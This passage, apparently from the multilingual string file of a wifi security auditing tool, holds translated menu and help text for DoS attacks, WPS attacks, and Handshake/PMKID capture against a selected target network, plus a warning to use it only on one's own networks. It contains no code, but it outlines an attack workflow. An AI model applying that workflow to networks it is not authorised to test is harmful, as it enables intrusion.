WPA/WPA2 Enterprise suelen configurarse en entornos corporativos. Utilizan un servidor Radius para la autenticación y a diferencia de las redes convencionales requieren más elementos para la autenticación, no solo una contraseña. Pueden requerir usuario y contraseña además de un certificado" arr["FRENCH",112]="Les réseaux WPA/WPA2 Enterprise sont généralement configurés sur environnements d'entreprise. Ils utilisent un serveur Radius pour l'authentification et, contrairement aux réseaux conventionnels, ont besoin de plus éléments pour l'authentification, pas seulement un mot de passe. Ils peuvent exiger un nom d'utilisateur et un mot de passe en plus d'un certificat" arr["CATALAN",112]="Les xarxes WPA/WPA2 Enterprise solen configurar-se en entorns corporatius. Utilitzen un servidor Radius per a l'autenticació i a diferència de les xarxes convencionals requereixen més elements per a l'autenticació, no sols una contrasenya. Poden requerir usuari i contrasenya a més d'un certificat" arr["PORTUGUESE",112]="As redes WPA/WPA2 Enterprise geralmente são configuradas em ambientes corporativos. É usado um servidor Radius para autenticação o que exige mais elementos para autenticação, ao contrário das redes convencionais que exigem apenas uma senha. Pode ser exigido: um nome de usuário, uma senha e um certificado" arr["RUSSIAN",112]="Сети WPA/WPA2 Enterprise обычно используются в корпоративных средах. Они используют сервер Radius для аутентификации и, в отличие от обычных сетей, требуют больше элементов аутентификации, помимо пароля. Они могут требовать имя пользователя, пароль и иногда сертификат" arr["GREEK",112]="Τα WPA/WPA2 Enterprise δίκτυα χρησιμοποιούνται συνήθως σε εταιρικά περιβάλλοντα. Χρησιμοποιούν έναν διακομιστή Radius για έλεγχο ταυτότητας και σε αντίθεση με τα συμβατικά δίκτυα απαιτούν περισσότερα στοιχεία για τον έλεγχο ταυτότητας και όχι μόνο τον κωδικό πρόσβασης. Μπορεί να απαιτούν όνομα χρήστη, κωδικό πρόσβασης και περιστασιακά κάποιο certificate" arr["ITALIAN",112]="Le reti WPA/WPA2 Enterprise sono solitamente configurate negli ambienti aziendali. Utilizzano un server Radius per l'autenticazione e, diversamente dalle reti convenzionali, richiedono più elementi per l'autenticazione, non solo una password. Possono richiedere un nome utente e una password oltre a un certificato" arr["POLISH",112]="Sieci WPA/WPA2 Enterprise są powszechnie stosowane w środowiskach korporacyjnych. Korzystają z serwera Radius do uwierzytelniania i w przeciwieństwie do sieci konwencjonalnych wymagają więcej elementów do uwierzytelnienia, a nie tylko hasła. Mogą wymagać nazwy użytkownika, hasła i czasami certyfikatu" arr["GERMAN",112]="WPA/WPA2 Enterprise-Netzwerke werden häufig in Unternehmensumgebungen verwendet. Sie verwenden einen Radius-Server zur Authentifizierung und benötigen im Gegensatz zu herkömmlichen Netzwerken mehr Elemente zur Authentifizierung als ein Passwort. Sie benötigen möglicherweise Benutzernamen, Passwort und gelegentlich ein Zertifikat" arr["TURKISH",112]="WPA/WPA2 Enterprise ağlar, şirket ortamlarında yaygın olarak kullanılır. Kimlik doğrulaması için bir Radius sunucu kullanıyorlar ve geleneksel ağların aksine, yalnızca bir şifre değil, kimlik doğrulama için daha fazla öğe gerekiyor. Kullanıcı adı, şifre ve bazen sertifika isteyebilirler" arr["ARABIC",112]="للمصادقة وعلى عكس الشبكات التقليدية تتطلب عناصر أكثر للمصادقة ، وليس مجرد كلمة مرور. قد يطلبون اسم مستخدم وكلمة مرور وأحيانًا شهادة Radius بشكل شائع في بيئات الشركات. يستخدمون خادم WPA/WPA2 Entreprise تستخدم شبكات" arr["CHINESE",112]="WPA/WPA2 企业级加密的网络通常用于企业环境。他们使用 Radius 服务器进行身份验证,与传统加密方式的网络不同,它们需要更多元素进行身份验证,而不仅仅是密码,可能还需要用户名等凭据,有时还需要证书" arr["ENGLISH",113]="3. French" arr["SPANISH",113]="3. Francés" arr["FRENCH",113]="3. Français" arr["CATALAN",113]="3. Francès" arr["PORTUGUESE",113]="3. Francês" arr["RUSSIAN",113]="3. Французский" arr["GREEK",113]="3. Γαλλικά" arr["ITALIAN",113]="3. Francese" arr["POLISH",113]="3. Francuski" arr["GERMAN",113]="3. Französisch" arr["TURKISH",113]="3. Fransızca" arr["ARABIC",113]="3. الفرنسية" arr["CHINESE",113]="3. 法语" arr["ENGLISH",114]="Use it only on your own networks!!" arr["SPANISH",114]="Utilízalo solo en tus propias redes!!" arr["FRENCH",114]="Utilisez-le seulement dans vos propres réseaux!!" arr["CATALAN",114]="Utilitza'l només a les teves pròpies xarxes!!" arr["PORTUGUESE",114]="Use-o apenas em suas próprias redes!!" arr["RUSSIAN",114]="Используйте только на ваших собственных сетях!!" arr["GREEK",114]="Χρησιμοποιήστε το μόνο σε δικά σας δίκτυα!!" arr["ITALIAN",114]="Usalo solo nelle tue reti!!" arr["POLISH",114]="Używaj tylko we własnych sieciach!!" arr["GERMAN",114]="Verwenden Sie es nur in Ihren eigenen Netzwerken!!" arr["TURKISH",114]="Sadece kendi ağlarında kullan!!" arr["ARABIC",114]="!!استخدامه فقط على شبكة الخاصة بك" arr["CHINESE",114]="请仅在您自己的网络上使用它!!" arr["ENGLISH",115]="Press [Enter] key to continue..." arr["SPANISH",115]="Pulsa la tecla [Enter] para continuar..." arr["FRENCH",115]="Pressez [Enter] pour continuer..." arr["CATALAN",115]="Prem la tecla [Enter] per continuar..." arr["PORTUGUESE",115]="Pressione a tecla [Enter] para continuar..." arr["RUSSIAN",115]="Нажмите клавишу [Enter] для продолжения..." arr["GREEK",115]="Πατήστε το κουμπί [Enter] για να συνεχίσετε..." arr["ITALIAN",115]="Premere il tasto [Enter] per continuare..." arr["POLISH",115]="Naciśnij klawisz [Enter], aby kontynuować..." arr["GERMAN",115]="Drücken Sie die [Enter]-Taste, um fortzufahren..." arr["TURKISH",115]="Devam etmek için [Enter] tuşlayınız..." arr["ARABIC",115]="...للمتابعة [Enter] اضغط على مفتاح" arr["CHINESE",115]="按 [Enter] 键继续..." arr["ENGLISH",116]="4. Catalan" arr["SPANISH",116]="4. Catalán" arr["FRENCH",116]="4. Catalan" arr["CATALAN",116]="4. Català" arr["PORTUGUESE",116]="4. Catalão" arr["RUSSIAN",116]="4. Каталонский" arr["GREEK",116]="4. Καταλανικά" arr["ITALIAN",116]="4. Catalano" arr["POLISH",116]="4. Kataloński" arr["GERMAN",116]="4. Katalanisch" arr["TURKISH",116]="4. Katalan" arr["ARABIC",116]="4. الكاتالونية" arr["CHINESE",116]="4. 加泰罗尼亚语" arr["ENGLISH",117]="smooth mode, disconnect on capture" arr["SPANISH",117]="modo smooth, desconectar tras capturar" arr["FRENCH",117]="mode silencieux, déconnecter après la capture" arr["CATALAN",117]="mode smooth, desconnectar després de capturar" arr["PORTUGUESE",117]="modo discreto, finaliza após uma captura" arr["RUSSIAN",117]="smooth mode, отключить атаку, как только захвачены данные," arr["GREEK",117]="smooth mode, αποσυνδέστε τη συσκευή μετά τη λήψη" arr["ITALIAN",117]="modalità smooth, disconnettersi dopo la cattura" arr["POLISH",117]="tryb smooth, odłącz po przechwyceniu" arr["GERMAN",117]="smooth-Modus, nach dem Erfassen abschalten" arr["TURKISH",117]="smooth mod, yakalamadan sonra bağlantıyı keser" arr["ARABIC",117]="قطع الاتصال عند الالتقاط ،smooth mode وضع" arr["CHINESE",117]="平滑模式,捕获密码或哈希时断开连接" arr["ENGLISH",118]="4. DoS attacks menu" arr["SPANISH",118]="4. Menú de ataques DoS" arr["FRENCH",118]="4. Menu des attaques DoS" arr["CATALAN",118]="4. Menú d'atacs DoS" arr["PORTUGUESE",118]="4. Menu de ataques DoS" arr["RUSSIAN",118]="4. Меню DoS атак" arr["GREEK",118]="4. Μενού επιθέσεων DoS" arr["ITALIAN",118]="4. Menù attacchi DoS" arr["POLISH",118]="4. Menu ataków DoS" arr["GERMAN",118]="4. DoS-Angriffsmenü" arr["TURKISH",118]="4. DoS attacks menüsü" arr["ARABIC",118]="4. DoS قائمة هجمات" arr["CHINESE",118]="4. DoS 攻击菜单" arr["ENGLISH",119]="5. Handshake/PMKID/Decloaking tools menu" arr["SPANISH",119]="5. Menú de herramientas Handshake/PMKID/Decloaking" arr["FRENCH",119]="5. Menu des outils pour Handshake/PMKID/Decloaking" arr["CATALAN",119]="5. Menú d'eines Handshake/PMKID/Decloaking" arr["PORTUGUESE",119]="5. Menu de ferramentas Handshake/PMKID/Descamuflagem" arr["RUSSIAN",119]="5. Меню инструментов для работы с Handshake/PMKID/Decloaking" arr["GREEK",119]="5. Μενού εργαλειών Handshake/PMKID/Decloaking" arr["ITALIAN",119]="5. Menu degli strumenti Handshake/PMKID/Decloaking" arr["POLISH",119]="5. Menu narzędzi Handshake/PMKID/Decloaking" arr["GERMAN",119]="5. Handshake/PMKID/Decloaking-Tools-Menü" arr["TURKISH",119]="5. Handshake/PMKID/Decloaking araçları menüsü" arr["ARABIC",119]="5. Handshake/PMKID/Decloaking قائمة أدوات" arr["CHINESE",119]="5. Handshake/PMKID/Decloaking 工具菜单" arr["ENGLISH",120]="Handshake/PMKID/Decloaking tools menu" arr["SPANISH",120]="Menú de herramientas Handshake/PMKID/Decloaking" arr["FRENCH",120]="Menu des outils pour Handshake/PMKID/Decloaking" arr["CATALAN",120]="Menú d'eines Handshake/PMKID/Decloaking" arr["PORTUGUESE",120]="Menu de ferramentas Handshake/PMKID/Descamuflagem" arr["RUSSIAN",120]="Меню инструментов для работы с Handshake/PMKID/Decloaking" arr["GREEK",120]="Μενού εργαλειών Handshake/PMKID/Decloaking" arr["ITALIAN",120]="Menu degli strumenti Handshake/PMKID/Decloaking" arr["POLISH",120]="Menu narzędzi Handshake/PMKID/Decloaking" arr["GERMAN",120]="Handshake/PMKID/Decloaking-Tools-Menü" arr["TURKISH",120]="Handshake/PMKID/Decloaking araçları menüsü" arr["ARABIC",120]="Handshake/PMKID/Decloaking قائمة أدوات" arr["CHINESE",120]="Handshake/PMKID/Decloaking 工具菜单" arr["ENGLISH",121]="6. Capture Handshake" arr["SPANISH",121]="6. Capturar Handshake" arr["FRENCH",121]="6. Capture du Handshake" arr["CATALAN",121]="6. Captura Handshake" arr["PORTUGUESE",121]="6. Capturar Handshake" arr["RUSSIAN",121]="6. Захват Handshake" arr["GREEK",121]="6. Καταγράψτε την Χειραψία" arr["ITALIAN",121]="6. Catturare Handshake" arr["POLISH",121]="6. Przechwyć Handshake" arr["GERMAN",121]="6. Handshake ergreifen" arr["TURKISH",121]="6. Handshake yakala" arr["ARABIC",121]="6. Handshake التقاط" arr["CHINESE",121]="6. 捕捉握手包" arr["ENGLISH",122]="7. Clean/optimize Handshake file" arr["SPANISH",122]="7. Limpiar/optimizar fichero de Handshake" arr["FRENCH",122]="7. Laver/optimiser le fichier Handshake" arr["CATALAN",122]="7. Netejar/optimitzar fitxer de Handshake" arr["PORTUGUESE",122]="7. Limpar arquivo/otimizar Handshake" arr["RUSSIAN",122]="7. Очистка/оптимизация Handshake файла" arr["GREEK",122]="7. Καθαρισμός/βελτιστοποίηση του αρχείου Χειραψίας" arr["ITALIAN",122]="7. Pulire/ottimizzare file Handshake" arr["POLISH",122]="7. Oczyść/zoptymalizuj plik Handshake" arr["GERMAN",122]="7. Handshake-Datei bereinigen/optimieren" arr["TURKISH",122]="7. Handshake dosyalarını Temizle/Optimize et" arr["ARABIC",122]="7. Handshake تنظيف/تحسين ملف" arr["CHINESE",122]="7. 清理/优化握手包文件" arr["ENGLISH",123]="If the password for the wifi network is obtained with the WPS attack, you should decide where to save it. \${green_color}Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${wps_potpath}]" arr["SPANISH",123]="Si se consigue la contraseña de la red wifi con el ataque WPS, hay que decidir donde guardarla. \${green_color}Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${wps_potpath}]" arr["FRENCH",123]="Si le mot de passe est obtenu par une attaque WPS, il faut ensuite indiquer l'endroit pour la sauvegarder. \${green_color}Entrez le chemin de l'endroit où vous voulez garder le fichier ou bien appuyez sur [Enter] si le chemin proposée par défaut vous convient \${normal_color}[\${wps_potpath}]" arr["CATALAN",123]="Si s'aconsegueix la contrasenya de la xarxa wifi amb l'atac WPS, cal decidir on guardar-la. \${green_color}Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${wps_potpath}]" arr["PORTUGUESE",123]="Se a senha da rede wifi for obtida com o ataque WPS, onde deseja salvá-la?. \${green_color}Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão \${normal_color}[\${wps_potpath}]" arr["RUSSIAN",123]="Вы должны решить где сохранить пароль, если его получится захватить во время WPS атаки. \${green_color} Наберите путь для сохранения файла или нажмите [Enter] для принятия значения по умолчанию \${normal_color}[\${wps_potpath}]" arr["GREEK",123]="Εάν ο κωδικός πρόσβασης του ασύρματου δικτύου αποκτηθεί με WPS attack, πρέπει να αποφασίσετε πού θα τον αποθηκεύσετε. \${green_color}Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${wps_potpath}]" arr["ITALIAN",123]="Se si ottiene la password della rete wireless con l'attacco WPS, bisogna decidere dove salvarla. \${green_color}Scrivere il percorso dove salvare il file o premere [Enter] per accettare la proposta di default \${normal_color}[\${wps_potpath}]" arr["POLISH",123]="Jeśli hasło sieci wifi zostanie uzyskane atakiem WPS, musisz zdecydować gdzie je zapisać. \${green_color}Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${wps_potpath}]" arr["GERMAN",123]="Wenn Sie das WLAN-Passwort mit dem WPS-Angriff erhalten, müssen Sie entscheiden, wo Sie es speichern möchten. \${green_color} Geben Sie den Pfad ein, unter dem die Datei gespeichert werden soll, oder drücken Sie die [Enter]-Taste, um den Standardvorschlag \${normal_color}[\${wps_potpath}] \${blue_color}zu akzeptieren" arr["TURKISH",123]="Eğer wifi şifresini WPS saldırısı yöntemi ile elde ettiyseniz, nereye kaydedileceğini belirlemelisiniz. \${green_color}Dizin yolu girin veya [Enter] tuşuna varsayılan yere kaydedin. \${normal_color}[\${wps_potpath}]" arr["ARABIC",123]="\${normal_color}[\${wps_potpath}] \${green_color}لقبول الاقتراح [Enter] اكتب الطريق لتخزين الملف أو اضغط على \${blue_color} .فيجب أن تقرر مكان حفظها ،WPS بهجوم wifi إذا تم الحصول على كلمة المرور الخاصة بشبكة" arr["CHINESE",123]="如果 wifi 网络的密码是通过 WPS 攻击获得的,您应该决定将其保存在何处。 \${green_color}键入存储文件的路径或按 [Enter] 接受默认建议 \${normal_color}[\${wps_potpath}]" arr["ENGLISH",124]="monitor mode needed for capturing" arr["SPANISH",124]="modo monitor requerido en captura" arr["FRENCH",124]="modo moniteur nécessaire pour la capture" arr["CATALAN",124]="mode monitor requerit en captura" arr["PORTUGUESE",124]="modo monitor necessário para captura" arr["RUSSIAN",124]="для захвата необходим режим монитора" arr["GREEK",124]="χρειάζεται η κατάσταση παρακολούθησης για την καταγραφή" arr["ITALIAN",124]="modo monitor richesto per la cattura" arr["POLISH",124]="aby przechwytywać wymagany jest tryb monitorowania" arr["GERMAN",124]="Monitor-Modus für die Erfassung erforderlich" arr["TURKISH",124]="yakalamak için izleme modu gereklidir" arr["ARABIC",124]="لازم لالتقاط monitor mode وضع" arr["CHINESE",124]="抓包需要监听模式" arr["ENGLISH",125]="There is no valid target network selected. You'll be redirected to select one" arr["SPANISH",125]="No hay una red objetivo válida seleccionada. Serás redirigido para seleccionar una" arr["FRENCH",125]="Le choix du réseau cible est incorrect. Vous allez être redirigé vers le menu de sélection pour effectuer un nouveau choix" arr["CATALAN",125]="No hi ha una xarxa objectiu vàlida seleccionada. Seràs redirigit per seleccionar una" arr["PORTUGUESE",125]="Nenhuma rede válida selecionada. Você será redirecionado para selecionar uma" arr["RUSSIAN",125]="Не выбрана подходящая сеть. Вы будете перенаправлены на выбор сети" arr["GREEK",125]="Δεν έχει επιλεχθεί κάποιο έγκυρο δίκτυο-στόχος. Θα καθοδηγηθείτε ώστε να επιλέξετε ένα" arr["ITALIAN",125]="Nessuna rete valida selezionata come obiettivo. Sarai reindirizzato per selezionarne una" arr["POLISH",125]="Nie wybrano prawidłowej sieci docelowej. Zostaniesz przekierowany, aby ją wybrać" arr["GERMAN",125]="Kein gültiges Ziel-Netzwerk ausgewählt. Sie werden zur Auswahl weitergeleitet" arr["TURKISH",125]="Geçerli bir hedef ağ seçilmedi. Seçmek için yönlendiriliyorsunuz" arr["ARABIC",125]="لم يتم تحديد شبكة مستهدفة صالحة. ستتم إعادة توجيهك لتحديد واحدة" arr["CHINESE",125]="没有选择有效的目标网络。您需要选择一个" arr["ENGLISH",126]="You have a valid WPA, WPA2 or WPA2/WPA3 in \"Mixed mode\" target network selected. Script can continue..." arr["SPANISH",126]="Tienes una red objetivo WPA, WPA2 o WPA2/WPA3 en \"Mixed mode\" válida seleccionada. El script puede continuar..." arr["FRENCH",126]="Vous avez choisi une réseau valide WPA, WPA2 ou WPA2/WPA3 en \"Mixed mode\". Le script peut continuer..." arr["CATALAN",126]="Tens una xarxa objectiu WPA, WPA2 o WPA2/WPA3 en \"Mixed mode\" vàlida seleccionada. El script pot continuar..." arr["PORTUGUESE",126]="Você tem uma rede WPA, WPA2 ou WPA2/WPA3 em \"Mixed mode\" válida selecionada. O script pode continuar..." arr["RUSSIAN",126]="Вы выбрали подходящую целевую сеть WPA, WPA2 или WPA2/WPA3 в \"Mixed mode\". Скрипт может продолжить..." arr["GREEK",126]="Έχετε επιλέξει ένα έγκυρο δίκτυο-στόχος WPA, WPA2 ή WPA2/WPA3 σε \"Mixed mode\". Το script μπορεί να συνεχίσει..." arr["ITALIAN",126]="Hai selezionato una rete WPA, WPA2 o WPA2/WPA3 in \"Mixed mode\" valida. Lo script può continuare..." arr["POLISH",126]="Wybrano prawidłową sieć docelową WPA, WPA2 lub WPA2/WPA3 w \"Mixed mode\". Skrypt może kontynuować..." arr["GERMAN",126]="Sie haben ein gültiges WPA, WPA2 oder WPA2/WPA3 im \"Mixed mode\"-Zielnetzwerk ausgewählt. Das Skript kann fortfahren..." arr["TURKISH",126]="Geçerli bir \"Mixed mode\" da WPA, WPA2 veya WPA2/WPA3 hedef ağı seçtiniz. Yazılım devam edebilir..." arr["ARABIC",126]="...يمكن أن يستمرالبرنامج .\"Mixed mode\" صالح فى WPA2/WPA3 أو WPA2 و WPA يوجد" arr["CHINESE",126]="您在“混合模式”目标中选择了有效的 WPA、WPA2 或 WPA2/WPA3 加密方式的无线网络。脚本可以继续..." arr["ENGLISH",127]="The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Capture Handshake/PMKID" arr["SPANISH",127]="El orden natural para proceder en este menú suele ser: 1-Elige tarjeta wifi 2-Ponla en modo monitor 3-Elige red objetivo 4-Captura Handshake/PMKID" arr["FRENCH",127]="La marche à suivre est généralement: 1-Selectionner la carte wifi 2-Activer le mode moniteur 3-Choisir un réseau cible 4-Capturer le Handshake/PMKID" arr["CATALAN",127]="L'ordre natural per procedir a aquest menú sol ser: 1-Tria targeta wifi 2-Posa-la en mode monitor 3-Tria xarxa objectiu 4-Captura Handshake/PMKID" arr["PORTUGUESE",127]="A ordem normal para esse menu é: 1-Escolha de uma interface wifi 2-colocar interface wifi no modo monitor 3-Selecionar uma rede 4-Capturar o Handshake/PMKID" arr["RUSSIAN",127]="Обычный порядок работы в этом меню: 1-Выбрать wifi карту 2-Перевести её в режим монитора 3-Выбрать целевую сеть 4-Захватить рукопожатие/PMKID" arr["GREEK",127]="Η σειρά εντολών για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα wifi 2-Βάλτε την σε monitor mode 3-Επιλέξτε δίκτυο-στόχος 4-Καταγράψτε την Χειραψία/PMKID" arr["ITALIAN",127]="L'ordine naturale per procedere in questo menú di solito è: 1-Seleziona la scheda wifi 2-Mettila in modalità monitor 3-Seleziona rete obiettivo 4-Cattura Handshake/PMKID" arr["POLISH",127]="Naturalnym sposobem kontynuowania w tym menu jest zazwyczaj: 1-Wybierz kartę wifi 2-Włącz tryb monitorowania 3-Wybierz sieć docelową 4-Przechwyć Handshake/PMKID" arr["GERMAN",127]="Die natürliche Reihenfolge, um in diesem Menü fortzufahren, ist normalerweise: 1-Wählen Sie die WLAN-Karte 2-Setzen Sie sie in den monitor-Modus 3-Wählen Sie das Ziel-Netzwerk 4-Handshake/PMKID ergreifen" arr["TURKISH",127]="Normal olarak izlemeniz gereken yol: 1-Wifi kartı seç 2-İzleme modunu aç 3-Hedef ağ seç 4-Handshake yakala" arr["ARABIC",127]="Handshake/PMKID عادة ما يكون الترتيب الطبيعي للمتابعة في هذه القائمة هو: 1- حدد بطاقة الويفي 2- تنشيط وضع المراقبة 3- اختيار شبكة مستهدفة 4- التقاط" arr["CHINESE",127]="在此菜单中进行的自然顺序通常是: 1-选择无线网络接口 2-将其置于监听模式 3-选择目标网络 4-捕获握手包/PMKID" arr["ENGLISH",128]="Select a wifi card to work in order to be able to do more actions than with an ethernet interface" arr["SPANISH",128]="Selecciona una interfaz wifi para poder realizar más acciones que con una interfaz ethernet" arr["FRENCH",128]="Veuillez sélectionner une carte wifi au lieu d'une carte ethernet afin d'être en mesure de réaliser plus d'actions" arr["CATALAN",128]="Seleccioneu una targeta wifi per treballar amb la finalitat de ser capaç de fer més accions que amb una interfície ethernet" arr["PORTUGUESE",128]="Selecione uma interface wifi para realizar mais ações do que com uma interface ethernet" arr["RUSSIAN",128]="Выберите wifi карту для работы, чтобы вы могли выполнить больше действий, чем с ethernet интерфейсом" arr["GREEK",128]="Επιλέξτε κάρτα wifi ώστε να μπορείτε να έχετε περισσοτερες επιλογές από μία διεπαφή ethernet" arr["ITALIAN",128]="Seleziona un'interfaccia wifi per poter eseguire più azioni che con un interfaccia ethernet" arr["POLISH",128]="Wybierz interfejs wifi, aby wykonać więcej czynności niż z interfejsem sieci ethernet" arr["GERMAN",128]="Wählen Sie ein WLAN-Interface, um mehr Aktionen als mit einer Ethernet-Schnittstelle auszuführen" arr["TURKISH",128]="Bir ethernet arabiriminden daha fazla işlem yapabilmek için çalışmak üzere bir wifi kartı seçin" arr["ARABIC",128]="حدد بطاقة wifi للعمل من أجل أن تكون قادرًا على القيام بإجراءات أكثر من استخدام واجهة ethernet" arr["CHINESE",128]="请选择要使用的 wifi 网卡,以便能够执行比使用有线网络 (以太网) 接口更多的操作" arr["ENGLISH",129]="The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Start attack" arr["SPANISH",129]="El orden natural para proceder en este menú suele ser: 1-Elige tarjeta wifi 2-Ponla en modo monitor 3-Elige red objetivo 4-Comienza el ataque" arr["FRENCH",129]="La marche à suivre est généralement: 1-Selectionner la carte wifi 2-Activer le mode moniteur 3-Choisir un réseau cible 4-Capturer le Handshake" arr["CATALAN",129]="L'ordre natural per procedir a aquest menú sol ser: 1-Tria targeta wifi 2-Posa-la en mode monitor 3-Tria xarxa objectiu 4-Iniciar l'atac" arr["PORTUGUESE",129]="A ordem normal para esse menu é: 1-Escolha de uma interface wifi 2-colocar a interface wifi no modo monitor 3-Selecionar uma rede 4-Começar o ataque" arr["RUSSIAN",129]="Обычный порядок работы в этом меню: 1-Выберите wifi карту 2-Переведите её в режим монитора 3-Выберите целевую сеть 4-Запустите атаку" arr["GREEK",129]="Η διαδικασία για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα wifi 2-Βάλτε την σε κατάσταση παρακολούθησης 3-Επιλέξτε δίκτυο-στόχος 4-Ξεκινήστε την επίθεση" arr["ITALIAN",129]="L'ordine naturale per procedere in questo menú di solito è: 1-Seleziona la scheda wifi 2-Mettila in modalità monitor 3-Seleziona rete obiettivo 4-Inizia l'attacco" arr["POLISH",129]="Naturalnym sposobem działania w tym menu jest zazwyczaj: 1-Wybierz kartę wifi 2-Włącz tryb monitorowania 3-Wybierz sieć docelową 4-Rozpocznij ataku" arr["GERMAN",129]="Um in diesem Menü fortzufahren machen Sie folgendes: 1-Wählen Sie die WLAN-Karte 2-Stellen Sie sie im Monitur-modus ein 3-Wählen Sie das Zielnetzwerk 4-Starten Sie den Angriff" arr["TURKISH",129]="Bu menüde devam etmek için genellikle şu yol izlenir: 1-Wifi kartı seçmi 2-İzleme modunu açma 3-Hedef ağ seçme 4-Saldırıya başlama" arr["ARABIC",129]="عادة ما يكون الترتيب الطبيعي للمتابعة في هذه القائمة هو: 1- حدد بطاقة الويفي 2- تنشيط وضع المراقبة 3- اختيار شبكة مستهدفة 4- بدء الهجوم" arr["CHINESE",129]="在此菜单中进行的攻击准备顺序通常是: 1-选择 wifi 网卡 2-将其置于监控模式 3-选择目标网络 4-进入本菜单开始攻击" arr["ENGLISH",130]="Remember to select a target network with clients to capture Handshake" arr["SPANISH",130]="Recuerda seleccionar una red objetivo con clientes para capturar el Handshake" arr["FRENCH",130]="Rappelez-vous de sélectionner un réseau cible avec un/des client(s) connecté(s) pour pouvoir capturer un Handshake" arr["CATALAN",130]="Recorda que has de seleccionar una xarxa objectiu amb clients per capturar el Handshake" arr["PORTUGUESE",130]="Lembre-se de selecionar uma rede com clientes para capturar o Handshake" arr["RUSSIAN",130]="Не забудьте выбрать целевую сеть с клиентами для захвата рукопожатия" arr["GREEK",130]="Θυμηθείτε να επιλέξετε ένα δίκτυο-στόχος με έναν ή παραπάνω χρήστες για να καταγράψετε μία Χειραψία" arr["ITALIAN",130]="Ricorda di selezionare una rete di destinazione con clienti per poter catturare l'Handshake" arr["POLISH",130]="W celu przechwycenia Handshake, pamiętaj aby wybrać sieć docelową z klientami" arr["GERMAN",130]="Denken Sie daran, ein Zielnetzwerk mit Clients auszuwählen, um den Handshake zu erfassen" arr["TURKISH",130]="Handshake'i yakalamak için istemcilerle bir hedef ağ seçmeyi unutmayın" arr["ARABIC",130]="Handshake تذكر تحديد شبكة مستهدفة مع الزبناء لالتقاط" arr["CHINESE",130]="记得选择一个有客户端连接的无线网络来捕获握手包" arr["ENGLISH",131]="Not all attacks affect all access points. If an attack is not working against an access point, choose another one :)" arr["SPANISH",131]="No todos los ataques afectan a todos los puntos de acceso. Si un ataque no funciona contra un punto de acceso, elige otro :)" arr["FRENCH",131]="Toutes les attaques n'affectent pas les points d'accès de la même manière. Si une attaque ne donne pas de résultats, choisissez en une autre :)" arr["CATALAN",131]="No tots els atacs afecten tots els punts d'accés. Si un atac no està treballant cap a un punt d'accés, tria un altre :)" arr["PORTUGUESE",131]="Nem todos os ataques funcionam em todas as redes. Se um ataque não funcionar contra uma rede, escolha outro :)" arr["RUSSIAN",131]="Не все атаки справляются со всеми точками доступа. Если атака не работает в отношении точки доступа, выберите другую :)" arr["GREEK",131]="Δεν είναι όλες οι επιθέσεις αποτελεσματικές σε όλα τα σημεία πρόσβασης. Αν μια επίθεση δεν δουλεύει ενάντια σε ένα σημείο πρόσβασης, διαλέξτε κάποια άλλη :)" arr["ITALIAN",131]="Non tutti gli attacchi funzionano su tutti gli access point. Se un attacco non funziona contro un access point, selezionane un altro :)" arr["POLISH",131]="Nie wszystkie ataki działają na wszystkie punkty dostępu. Jeśli atak nie działa przeciwko któremuś punktowi dostępowemu, wybierz inny :)" arr["GERMAN",131]="Nicht alle Angriffe betreffen alle Access Points. Wenn ein Angriff gegen einen Access Point nicht funktioniert, wählen Sie einen anderen :)" arr["TURKISH",131]="Tüm saldırılar tüm erişim noktalarını etkilemez. Bir saldırı bir erişim noktasına karşı çalışmıyorsa, başka birini seçin :)" arr["ARABIC",131]="(: لا تؤثر جميع الهجمات على جميع نقاط الوصول. إذا كان الهجوم لا يعمل ضد نقطة وصول ، فاختر نقطة أخرى" arr["CHINESE",131]="有的攻击方式可能对部分 AP 不起作用。如果效果未达预期,请选择另一个 :)" arr["ENGLISH",132]="Cleaning a Handshake file is recommended only for big size files. It's better to have a backup, sometimes file can be corrupted while cleaning it" arr["SPANISH",132]="Limpiar un fichero de Handshake se recomienda solo para ficheros grandes. Es mejor hacer una copia de seguridad antes, a veces el fichero se puede corromper al limpiarlo" arr["FRENCH",132]="Épurer le fichier contenant le Handshake est seulement recommandable si le fichier est volumineux. Si vous décidez d'épurer le fichier il est conseillé de faire une copie de sauvegarde du fichier originel, l'opération de nettoyage comporte des risques et peut le rendre illisible" arr["CATALAN",132]="Netejar un fitxer de Handshake es recomana només per a fitxers grans. És millor fer una còpia de seguretat abans, de vegades el fitxer es pot corrompre al netejar-lo" arr["PORTUGUESE",132]="Limpar um Handshake é recomendado apenas para arquivos grandes. É melhor fazer um backup antes, porque as vezes o arquivo pode corromper ao limpar" arr["RUSSIAN",132]="Очистка файла рукопожатия рекомендована только для файлов больших размеров. Лучше иметь резервную копию, иногда во время очистки файл может быть повреждён" arr["GREEK",132]="Ο καθαρισμός ενός αρχείου Χειραψίας συνιστάται μόνο για μεγάλου μεγέθους αρχεία. Καλύτερα κρατήστε ένα backup, μερικές φορές το αρχείο μπορεί να καταστραφεί κατά τη διάρκεια του καθαρισμού" arr["ITALIAN",132]="Pulire un file di Handshake è consigliato solo per file di grandi dimensioni. Meglio fare un backup prima, a volte il file si può corrompere con la pulizia" arr["POLISH",132]="Usunięcie pliku Handshake jest zalecane tylko w przypadku dużych plików. Lepiej jest zachować kopie zapasowe, czasami plik może być uszkodzony podczas czyszczenia" arr["GERMAN",132]="Das Bereinigen einer Handshake-Datei wird nur für große Dateien empfohlen. Es ist besser, vorher ein Backup zu erstellen, manchmal kann die Datei beim Säubern beschädigt werden" arr["TURKISH",132]="Bir Handshake dosyasının temizlenmesi yalnızca büyük boyutlu dosyalar için önerilir. Bir yedeğin olması daha iyidir, bazen dosya temizlenirken bozulabilir" arr["ARABIC",132]="فقط للملفات كبيرة الحجم. من الأفضل أن يكون لديك نسخة احتياطية 